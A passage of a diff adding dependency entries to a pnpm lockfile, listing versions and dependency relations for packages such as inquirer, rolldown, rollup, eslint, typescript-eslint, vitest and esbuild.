'@inquirer/checkbox@5.2.1(@types/node@20.19.43)': + dependencies: + '@inquirer/ansi': 2.0.7 + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/figures': 2.0.7 + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/confirm@6.1.1(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/core@11.2.1(@types/node@20.19.43)': + dependencies: + '@inquirer/ansi': 2.0.7 + '@inquirer/figures': 2.0.7 + '@inquirer/type': 4.0.7(@types/node@20.19.43) + cli-width: 4.1.0 + fast-wrap-ansi: 0.2.2 + mute-stream: 3.0.0 + signal-exit: 4.1.0 + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/editor@5.2.2(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/external-editor': 3.0.3(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/expand@5.1.1(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/external-editor@1.0.3(@types/node@20.19.43)': + dependencies: + chardet: 2.2.0 + iconv-lite: 0.7.3 + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/external-editor@3.0.3(@types/node@20.19.43)': + dependencies: + chardet: 2.2.0 + iconv-lite: 0.7.3 + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/figures@2.0.7': {} + + '@inquirer/input@5.1.2(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/number@4.1.1(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/password@5.1.1(@types/node@20.19.43)': + dependencies: + '@inquirer/ansi': 2.0.7 + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/prompts@8.5.2(@types/node@20.19.43)': + dependencies: + '@inquirer/checkbox': 5.2.1(@types/node@20.19.43) + '@inquirer/confirm': 6.1.1(@types/node@20.19.43) + '@inquirer/editor': 5.2.2(@types/node@20.19.43) + '@inquirer/expand': 5.1.1(@types/node@20.19.43) + '@inquirer/input': 5.1.2(@types/node@20.19.43) + '@inquirer/number': 4.1.1(@types/node@20.19.43) + '@inquirer/password': 5.1.1(@types/node@20.19.43) + '@inquirer/rawlist': 5.3.1(@types/node@20.19.43) + '@inquirer/search': 4.2.1(@types/node@20.19.43) + '@inquirer/select': 5.2.1(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/rawlist@5.3.1(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/search@4.2.1(@types/node@20.19.43)': + dependencies: + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/figures': 2.0.7 + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/select@5.2.1(@types/node@20.19.43)': + dependencies: + '@inquirer/ansi': 2.0.7 + '@inquirer/core': 11.2.1(@types/node@20.19.43) + '@inquirer/figures': 2.0.7 + '@inquirer/type': 4.0.7(@types/node@20.19.43) + optionalDependencies: + '@types/node': 20.19.43 + + '@inquirer/type@4.0.7(@types/node@20.19.43)': + optionalDependencies: + '@types/node': 20.19.43 + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@loaderkit/resolve@1.0.6': + dependencies: + '@braidai/lang': 1.1.2 + + '@manypkg/find-root@1.1.0': + dependencies: + '@babel/runtime': 7.29.7 + '@types/node': 12.20.55 + find-up: 4.1.0 + fs-extra: 8.1.0 + + '@manypkg/get-packages@1.1.3': + dependencies: + '@babel/runtime': 7.29.7 + '@changesets/types': 4.1.0 + '@manypkg/find-root': 1.1.0 + fs-extra: 8.1.0 + globby: 11.1.0 + read-yaml-file: 1.1.0 + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + + '@oxc-project/types@0.142.0': {} + + '@publint/pack@0.1.6': + dependencies: + tinyexec: 1.2.4 + + '@quansync/fs@1.0.0': + dependencies: + quansync: 1.0.0 + + '@rolldown/binding-android-arm64@1.2.2': + optional: true + + '@rolldown/binding-darwin-arm64@1.2.2': + optional: true + + '@rolldown/binding-darwin-x64@1.2.2': + optional: true + + '@rolldown/binding-freebsd-x64@1.2.2': + optional: true + + '@rolldown/binding-linux-arm-gnueabihf@1.2.2': + optional: true + + '@rolldown/binding-linux-arm64-gnu@1.2.2': + optional: true + + '@rolldown/binding-linux-arm64-musl@1.2.2': + optional: true + + '@rolldown/binding-linux-ppc64-gnu@1.2.2': + optional: true + + '@rolldown/binding-linux-s390x-gnu@1.2.2': + optional: true + + '@rolldown/binding-linux-x64-gnu@1.2.2': + optional: true + + '@rolldown/binding-linux-x64-musl@1.2.2': + optional: true + + '@rolldown/binding-openharmony-arm64@1.2.2': + optional: true + + '@rolldown/binding-win32-arm64-msvc@1.2.2': + optional: true + + '@rolldown/binding-win32-x64-msvc@1.2.2': + optional: true + + '@rolldown/pluginutils@1.0.1': {} + + '@rollup/rollup-android-arm-eabi@4.62.3': + optional: true + + '@rollup/rollup-android-arm64@4.62.3': + optional: true + + '@rollup/rollup-darwin-arm64@4.62.3': + optional: true + + '@rollup/rollup-darwin-x64@4.62.3': + optional: true + + '@rollup/rollup-freebsd-arm64@4.62.3': + optional: true + + '@rollup/rollup-freebsd-x64@4.62.3': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.62.3': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.62.3': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.62.3': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.62.3': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.62.3': + optional: true + + '@rollup/rollup-linux-loong64-musl@4.62.3': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.62.3': + optional: true + + '@rollup/rollup-linux-ppc64-musl@4.62.3': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.62.3': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.62.3': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.62.3': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.62.3': + optional: true + + '@rollup/rollup-linux-x64-musl@4.62.3': + optional: true + + '@rollup/rollup-openbsd-x64@4.62.3': + optional: true + + '@rollup/rollup-openharmony-arm64@4.62.3': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.62.3': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.62.3': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.62.3': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.62.3': + optional: true + + '@standard-schema/spec@1.1.0': {} + + '@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0))': + dependencies: + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/types': 8.65.0 + eslint: 10.8.0(jiti@2.7.0) + eslint-visitor-keys: 4.2.1 + espree: 10.4.0 + estraverse: 5.3.0 + picomatch: 4.0.5 + + '@types/chai@5.2.3': + dependencies: + '@types/deep-eql': 4.0.2 + assertion-error: 2.0.1 + + '@types/deep-eql@4.0.2': {} + + '@types/esrecurse@4.3.1': {} + + '@types/estree@1.0.9': {} + + '@types/json-schema@7.0.15': {} + + '@types/node@12.20.55': {} + + '@types/node@20.19.43': + dependencies: + undici-types: 6.21.0 + + '@types/semver@7.8.0': {} + + '@typescript-eslint/eslint-plugin@8.65.0(@typescript-eslint/parser@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3))(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + dependencies: + '@eslint-community/regexpp': 4.12.2 + '@typescript-eslint/parser': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/scope-manager': 8.65.0 + '@typescript-eslint/type-utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + '@typescript-eslint/visitor-keys': 8.65.0 + eslint: 10.8.0(jiti@2.7.0) + ignore: 7.0.6 + natural-compare: 1.4.0 + ts-api-utils: 2.5.0(typescript@5.9.3) + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/parser@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + dependencies: + '@typescript-eslint/scope-manager': 8.65.0 + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) + '@typescript-eslint/visitor-keys': 8.65.0 + debug: 4.4.3 + eslint: 10.8.0(jiti@2.7.0) + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/project-service@8.65.0(typescript@5.9.3)': + dependencies: + '@typescript-eslint/tsconfig-utils': 8.65.0(typescript@5.9.3) + '@typescript-eslint/types': 8.65.0 + debug: 4.4.3 + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/scope-manager@8.65.0': + dependencies: + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/visitor-keys': 8.65.0 + + '@typescript-eslint/tsconfig-utils@8.65.0(typescript@5.9.3)': + dependencies: + typescript: 5.9.3 + + '@typescript-eslint/type-utils@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + dependencies: + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) + '@typescript-eslint/utils': 8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3) + debug: 4.4.3 + eslint: 10.8.0(jiti@2.7.0) + ts-api-utils: 2.5.0(typescript@5.9.3) + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/types@8.65.0': {} + + '@typescript-eslint/typescript-estree@8.65.0(typescript@5.9.3)': + dependencies: + '@typescript-eslint/project-service': 8.65.0(typescript@5.9.3) + '@typescript-eslint/tsconfig-utils': 8.65.0(typescript@5.9.3) + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/visitor-keys': 8.65.0 + debug: 4.4.3 + minimatch: 10.2.6 + semver: 7.8.5 + tinyglobby: 0.2.17 + ts-api-utils: 2.5.0(typescript@5.9.3) + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/utils@8.65.0(eslint@10.8.0(jiti@2.7.0))(typescript@5.9.3)': + dependencies: + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/scope-manager': 8.65.0 + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/typescript-estree': 8.65.0(typescript@5.9.3) + eslint: 10.8.0(jiti@2.7.0) + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/visitor-keys@8.65.0': + dependencies: + '@typescript-eslint/types': 8.65.0 + eslint-visitor-keys: 5.0.1 + + '@vitest/expect@4.1.10': + dependencies: + '@standard-schema/spec': 1.1.0 + '@types/chai': 5.2.3 + '@vitest/spy': 4.1.10 + '@vitest/utils': 4.1.10 + chai: 6.2.2 + tinyrainbow: 3.1.1 + + '@vitest/mocker@4.1.10(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0))': + dependencies: + '@vitest/spy': 4.1.10 + estree-walker: 3.0.3 + magic-string: 0.30.21 + optionalDependencies: + vite: 7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0) + + '@vitest/pretty-format@4.1.10': + dependencies: + tinyrainbow: 3.1.1 + + '@vitest/runner@4.1.10': + dependencies: + '@vitest/utils': 4.1.10 + pathe: 2.0.3 + + '@vitest/snapshot@4.1.10': + dependencies: + '@vitest/pretty-format': 4.1.10 + '@vitest/utils': 4.1.10 + magic-string: 0.30.21 + pathe: 2.0.3 + + '@vitest/spy@4.1.10': {} + + '@vitest/utils@4.1.10': + dependencies: + '@vitest/pretty-format': 4.1.10 + convert-source-map: 2.0.0 + tinyrainbow: 3.1.1 + + '@yuku-codegen/binding-android-arm64@0.8.3': + optional: true + + '@yuku-codegen/binding-darwin-arm64@0.8.3': + optional: true + + '@yuku-codegen/binding-darwin-x64@0.8.3': + optional: true + + '@yuku-codegen/binding-freebsd-x64@0.8.3': + optional: true + + '@yuku-codegen/binding-linux-arm-gnu@0.8.3': + optional: true + + '@yuku-codegen/binding-linux-arm-musl@0.8.3': + optional: true + + '@yuku-codegen/binding-linux-arm64-gnu@0.8.3': + optional: true + + '@yuku-codegen/binding-linux-arm64-musl@0.8.3': + optional: true + + '@yuku-codegen/binding-linux-x64-gnu@0.8.3': + optional: true + + '@yuku-codegen/binding-linux-x64-musl@0.8.3': + optional: true + + '@yuku-codegen/binding-win32-arm64@0.8.3': + optional: true + + '@yuku-codegen/binding-win32-x64@0.8.3': + optional: true + + '@yuku-parser/binding-android-arm64@0.8.3': + optional: true + + '@yuku-parser/binding-darwin-arm64@0.8.3': + optional: true + + '@yuku-parser/binding-darwin-x64@0.8.3': + optional: true + + '@yuku-parser/binding-freebsd-x64@0.8.3': + optional: true + + '@yuku-parser/binding-linux-arm-gnu@0.8.3': + optional: true + + '@yuku-parser/binding-linux-arm-musl@0.8.3': + optional: true + + '@yuku-parser/binding-linux-arm64-gnu@0.8.3': + optional: true + + '@yuku-parser/binding-linux-arm64-musl@0.8.3': + optional: true + + '@yuku-parser/binding-linux-x64-gnu@0.8.3': + optional: true + + '@yuku-parser/binding-linux-x64-musl@0.8.3': + optional: true + + '@yuku-parser/binding-win32-arm64@0.8.3': + optional: true + + '@yuku-parser/binding-win32-x64@0.8.3': + optional: true + + '@yuku-toolchain/types@0.8.3': {} + + acorn-jsx@5.3.2(acorn@8.18.0): + dependencies: + acorn: 8.18.0 + + acorn@8.18.0: {} + + ajv@6.15.0: + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + + ansi-colors@4.1.3: {} + + ansi-regex@5.0.1: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + ansis@4.3.1: {} + + argparse@1.0.10: + dependencies: + sprintf-js: 1.0.3 + + argparse@2.0.1: {} + + array-union@2.1.0: {} + + assertion-error@2.0.1: {} + + balanced-match@4.0.4: {} + + base64-js@1.5.1: {} + + better-path-resolve@1.0.0: + dependencies: + is-windows: 1.0.2 + + bl@4.1.0: + dependencies: + buffer: 5.7.1 + inherits: 2.0.4 + readable-stream: 3.6.2 + + brace-expansion@5.0.9: + dependencies: + balanced-match: 4.0.4 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + buffer@5.7.1: + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + + cac@7.0.0: {} + + chai@6.2.2: {} + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + chalk@5.6.2: {} + + chardet@2.2.0: {} + + chokidar@5.0.0: + dependencies: + readdirp: 5.0.0 + + cjs-module-lexer@1.4.3: {} + + cli-cursor@3.1.0: + dependencies: + restore-cursor: 3.1.0 + + cli-spinners@2.9.2: {} + + cli-width@4.1.0: {} + + clone@1.0.4: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + commander@15.0.0: {} + + convert-source-map@2.0.0: {} + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + deep-is@0.1.4: {} + + defaults@1.0.4: + dependencies: + clone: 1.0.4 + + defu@6.1.7: {} + + detect-indent@6.1.0: {} + + dir-glob@3.0.1: + dependencies: + path-type: 4.0.0 + + dts-resolver@3.0.0: {} + + empathic@2.0.1: {} + + enquirer@2.4.1: + dependencies: + ansi-colors: 4.1.3 + strip-ansi: 6.0.1 + + es-module-lexer@2.3.1: {} + + esbuild@0.28.1: + optionalDependencies: + '@esbuild/aix-ppc64': 0.28.1 + '@esbuild/android-arm': 0.28.1 + '@esbuild/android-arm64': 0.28.1 + '@esbuild/android-x64': 0.28.1 + '@esbuild/darwin-arm64': 0.28.1 + '@esbuild/darwin-x64': 0.28.1 + '@esbuild/freebsd-arm64': 0.28.1 + '@esbuild/freebsd-x64': 0.28.1 + '@esbuild/linux-arm': 0.28.1 + '@esbuild/linux-arm64': 0.28.1 + '@esbuild/linux-ia32': 0.28.1 + '@esbuild/linux-loong64': 0.28.1 + '@esbuild/linux-mips64el': 0.28.1 + '@esbuild/linux-ppc64': 0.28.1 + '@esbuild/linux-riscv64': 0.28.1 + '@esbuild/linux-s390x': 0.28.1 + '@esbuild/linux-x64': 0.28.1 + '@esbuild/netbsd-arm64': 0.28.1 + '@esbuild/netbsd-x64': 0.28.1 + '@esbuild/openbsd-arm64': 0.28.1 + '@esbuild/openbsd-x64': 0.28.1 + '@esbuild/openharmony-arm64': 0.28.1 + '@esbuild/sunos-x64': 0.28.1 + '@esbuild/win32-arm64': 0.28.1 + '@esbuild/win32-ia32': 0.28.1 + '@esbuild/win32-x64': 0.28.1 + + escape-string-regexp@4.0.0: {} + + eslint-scope@9.1.2: + dependencies: + '@types/esrecurse': 4.3.1 + '@types/estree': 1.0.9 + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@3.4.3: {} + + eslint-visitor-keys@4.2.1: {} + + eslint-visitor-keys@5.0.1: {} + + eslint@10.8.0(jiti@2.7.0): + dependencies: + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0(jiti@2.7.0)) + '@eslint-community/regexpp': 4.12.2 + '@eslint/config-array': 0.23.5 + '@eslint/config-helpers': 0.7.0 + '@eslint/core': 1.2.1 + '@eslint/plugin-kit': 0.7.2 + '@humanfs/node': 0.16.8 + '@humanwhocodes/module-importer': 1.0.1 + '@humanwhocodes/retry': 0.4.3 + '@types/estree': 1.0.9 + ajv: 6.15.0 + cross-spawn: 7.0.6 + debug: 4.4.3 + escape-string-regexp: 4.0.0 + eslint-scope: 9.1.2 + eslint-visitor-keys: 5.0.1 + espree: 11.2.0 + esquery: 1.7.0 + esutils: 2.0.3 + fast-deep-equal: 3.1.3 + file-entry-cache: 8.0.0 + find-up: 5.0.0 + glob-parent: 6.0.2 + ignore: 5.3.2 + imurmurhash: 0.1.4 + is-glob: 4.0.3 + json-stable-stringify-without-jsonify: 1.0.1 + minimatch: 10.2.6 + natural-compare: 1.4.0 + optionator: 0.9.4 + optionalDependencies: + jiti: 2.7.0 + transitivePeerDependencies: + - supports-color + + espree@10.4.0: + dependencies: + acorn: 8.18.0 + acorn-jsx: 5.3.2(acorn@8.18.0) + eslint-visitor-keys: 4.2.1 + + espree@11.2.0: + dependencies: + acorn: 8.18.0 + acorn-jsx: 5.3.2(acorn@8.18.0) + eslint-visitor-keys: 5.0.1 + + esprima@4.0.1: {} + + esquery@1.7.0: + dependencies: + estraverse: 5.3.0 + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@5.3.0: {} + + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.9 + + esutils@2.0.3: {} + + expect-type@1.4.0: {} + + extend-shallow@2.0.1: + dependencies: + is-extendable: 0.1.1 + + extendable-error@0.1.7: {} + + fast-deep-equal@3.1.3: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-json-stable-stringify@2.1.0: {} + + fast-levenshtein@2.0.6: {} + + fast-string-truncated-width@3.0.3: {} + + fast-string-width@3.0.2: + dependencies: + fast-string-truncated-width: 3.0.3 + + fast-wrap-ansi@0.2.2: + dependencies: + fast-string-width: 3.0.2 + + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + + fdir@6.5.0(picomatch@4.0.5): + optionalDependencies: + picomatch: 4.0.5 + + fflate@0.8.3: {} + + file-entry-cache@8.0.0: + dependencies: + flat-cache: 4.0.1 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + find-up@4.1.0: + dependencies: + locate-path: 5.0.0 + path-exists: 4.0.0 + + find-up@5.0.0: + dependencies: + locate-path: 6.0.0 + path-exists: 4.0.0 + + flat-cache@4.0.1: + dependencies: + flatted: 3.4.4 + keyv: 4.5.4 + + flatted@3.4.4: {} + + fs-extra@7.0.1: + dependencies: + graceful-fs: 4.2.11 + jsonfile: 4.0.0 + universalify: 0.1.2 + + fs-extra@8.1.0: + dependencies: + graceful-fs: 4.2.11 + jsonfile: 4.0.0 + universalify: 0.1.2 + + fsevents@2.3.3: + optional: true + + get-tsconfig@5.0.0-beta.5: + dependencies: + resolve-pkg-maps: 1.0.0 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + glob@13.0.6: + dependencies: + minimatch: 10.2.6 + minipass: 7.1.3 + path-scurry: 2.0.2 + + globby@11.1.0: + dependencies: + array-union: 2.1.0 + dir-glob: 3.0.1 + fast-glob: 3.3.3 + ignore: 5.3.2 + merge2: 1.4.1 + slash: 3.0.0 + + graceful-fs@4.2.11: {} + + gray-matter@4.0.3: + dependencies: + js-yaml: 3.15.0 + kind-of: 6.0.3 + section-matter: 1.0.0 + strip-bom-string: 1.0.0 + + has-flag@4.0.0: {} + + hookable@6.1.1: {} + + human-id@4.2.0: {} + + husky@9.1.7: {} + + iconv-lite@0.7.3: + dependencies: + safer-buffer: 2.1.2 + + ieee754@1.2.1: {} + + ignore@5.3.2: {} + + ignore@7.0.6: {} + + import-without-cache@0.4.0: {} + + imurmurhash@0.1.4: {} + + inherits@2.0.4: {} + + is-extendable@0.1.1: {} + + is-extglob@2.1.1: {} + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-interactive@1.0.0: {} + + is-number@7.0.0: {} + + is-subdir@1.2.0: + dependencies: + better-path-resolve: 1.0.0 + + is-unicode-supported@0.1.0: {} + + is-windows@1.0.2: {} + + isexe@2.0.0: {} + + jiti@2.7.0: {} + + js-yaml@3.15.0: + dependencies: + argparse: 1.0.10 + esprima: 4.0.1 + + js-yaml@4.3.1: + dependencies: + argparse: 2.0.1 + + json-buffer@3.0.1: {} + + json-schema-traverse@0.4.1: {} + + json-stable-stringify-without-jsonify@1.0.1: {} + + jsonfile@4.0.0: + optionalDependencies: + graceful-fs: 4.2.11 + + keyv@4.5.4: + dependencies: + json-buffer: 3.0.1 + + kind-of@6.0.3: {} + + levn@0.4.1: + dependencies: + prelude-ls: 1.2.1 + type-check: 0.4.0 + + lint-staged@17.2.0: + dependencies: + picomatch: 4.0.5 + string-argv: 0.3.2 + tinyexec: 1.2.4 + optionalDependencies: + yaml: 2.9.0 + + locate-path@5.0.0: + dependencies: + p-locate: 4.1.0 + + locate-path@6.0.0: + dependencies: + p-locate: 5.0.0 + + lodash.startcase@4.4.0: {} + + log-symbols@4.1.0: + dependencies: + chalk: 4.1.2 + is-unicode-supported: 0.1.0 + + lru-cache@11.5.2: {} + + magic-string@0.30.21: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + merge2@1.4.1: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.2 + + mimic-fn@2.1.0: {} + + minimatch@10.2.6: + dependencies: + brace-expansion: 5.0.9 + + minipass@7.1.3: {} + + mri@1.2.0: {} + + ms@2.1.3: {} + + mute-stream@3.0.0: {} + + nanoid@3.3.16: {} + + natural-compare@1.4.0: {} + + obug@2.1.4: {} + + onetime@5.1.2: + dependencies: + mimic-fn: 2.1.0 + + optionator@0.9.4: + dependencies: + deep-is: 0.1.4 + fast-levenshtein: 2.0.6 + levn: 0.4.1 + prelude-ls: 1.2.1 + type-check: 0.4.0 + word-wrap: 1.2.5 + + ora@5.4.1: + dependencies: + bl: 4.1.0 + chalk: 4.1.2 + cli-cursor: 3.1.0 + cli-spinners: 2.9.2 + is-interactive: 1.0.0 + is-unicode-supported: 0.1.0 + log-symbols: 4.1.0 + strip-ansi: 6.0.1 + wcwidth: 1.0.1 + + outdent@0.5.0: {} + + p-filter@2.1.0: + dependencies: + p-map: 2.1.0 + + p-limit@2.3.0: + dependencies: + p-try: 2.2.0 + + p-limit@3.1.0: + dependencies: + yocto-queue: 0.1.0 + + p-locate@4.1.0: + dependencies: + p-limit: 2.3.0 + + p-locate@5.0.0: + dependencies: + p-limit: 3.1.0 + + p-map@2.1.0: {} + + p-try@2.2.0: {} + + package-manager-detector@0.2.11: + dependencies: + quansync: 0.2.11 + + package-manager-detector@1.8.0: {} + + path-exists@4.0.0: {} + + path-key@3.1.1: {} + + path-scurry@2.0.2: + dependencies: + lru-cache: 11.5.2 + minipass: 7.1.3 + + path-type@4.0.0: {} + + pathe@2.0.3: {} + + picocolors@1.1.1: {} + + picomatch@2.3.2: {} + + picomatch@4.0.5: {} + + pify@4.0.1: {} + + postcss@8.5.25: + dependencies: + nanoid: 3.3.16 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prelude-ls@1.2.1: {} + + prettier@2.8.8: {} + + publint@0.3.23: + dependencies: + '@publint/pack': 0.1.6 + package-manager-detector: 1.8.0 + picocolors: 1.1.1 + sade: 1.8.1 + + punycode@2.3.1: {} + + quansync@0.2.11: {} + + quansync@1.0.0: {} + + queue-microtask@1.2.3: {} + + read-yaml-file@1.1.0: + dependencies: + graceful-fs: 4.2.11 + js-yaml: 3.15.0 + pify: 4.0.1 + strip-bom: 3.0.0 + + readable-stream@3.6.2: + dependencies: + inherits: 2.0.4 + string_decoder: 1.3.0 + util-deprecate: 1.0.2 + + readdirp@5.0.0: {} + + resolve-from@5.0.0: {} + + resolve-pkg-maps@1.0.0: {} + + restore-cursor@3.1.0: + dependencies: + onetime: 5.1.2 + signal-exit: 3.0.7 + + reusify@1.1.0: {} + + rolldown-plugin-dts@0.27.14(rolldown@1.2.2)(typescript@5.9.3): + dependencies: + dts-resolver: 3.0.0 + get-tsconfig: 5.0.0-beta.5 + obug: 2.1.4 + rolldown: 1.2.2 + yuku-ast: 0.8.3 + yuku-codegen: 0.8.3 + yuku-parser: 0.8.3 + optionalDependencies: + typescript: 5.9.3 + transitivePeerDependencies: + - oxc-resolver + + rolldown@1.2.2: + dependencies: + '@oxc-project/types': 0.142.0 + '@rolldown/pluginutils': 1.0.1 + optionalDependencies: + '@rolldown/binding-android-arm64': 1.2.2 + '@rolldown/binding-darwin-arm64': 1.2.2 + '@rolldown/binding-darwin-x64': 1.2.2 + '@rolldown/binding-freebsd-x64': 1.2.2 + '@rolldown/binding-linux-arm-gnueabihf': 1.2.2 + '@rolldown/binding-linux-arm64-gnu': 1.2.2 + '@rolldown/binding-linux-arm64-musl': 1.2.2 + '@rolldown/binding-linux-ppc64-gnu': 1.2.2 + '@rolldown/binding-linux-s390x-gnu': 1.2.2 + '@rolldown/binding-linux-x64-gnu': 1.2.2 + '@rolldown/binding-linux-x64-musl': 1.2.2 + '@rolldown/binding-openharmony-arm64': 1.2.2 + '@rolldown/binding-win32-arm64-msvc': 1.2.2 + '@rolldown/binding-win32-x64-msvc': 1.2.2 + + rollup@4.62.3: + dependencies: + '@types/estree': 1.0.9 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.62.3 + '@rollup/rollup-android-arm64': 4.62.3 + '@rollup/rollup-darwin-arm64': 4.62.3 + '@rollup/rollup-darwin-x64': 4.62.3 + '@rollup/rollup-freebsd-arm64': 4.62.3 + '@rollup/rollup-freebsd-x64': 4.62.3 + '@rollup/rollup-linux-arm-gnueabihf': 4.62.3 + '@rollup/rollup-linux-arm-musleabihf': 4.62.3 + '@rollup/rollup-linux-arm64-gnu': 4.62.3 + '@rollup/rollup-linux-arm64-musl': 4.62.3 + '@rollup/rollup-linux-loong64-gnu': 4.62.3 + '@rollup/rollup-linux-loong64-musl': 4.62.3 + '@rollup/rollup-linux-ppc64-gnu': 4.62.3 + '@rollup/rollup-linux-ppc64-musl': 4.62.3 + '@rollup/rollup-linux-riscv64-gnu': 4.62.3 + '@rollup/rollup-linux-riscv64-musl': 4.62.3 + '@rollup/rollup-linux-s390x-gnu': 4.62.3 + '@rollup/rollup-linux-x64-gnu': 4.62.3 + '@rollup/rollup-linux-x64-musl': 4.62.3 + '@rollup/rollup-openbsd-x64': 4.62.3 + '@rollup/rollup-openharmony-arm64': 4.62.3 + '@rollup/rollup-win32-arm64-msvc': 4.62.3 + '@rollup/rollup-win32-ia32-msvc': 4.62.3 + '@rollup/rollup-win32-x64-gnu': 4.62.3 + 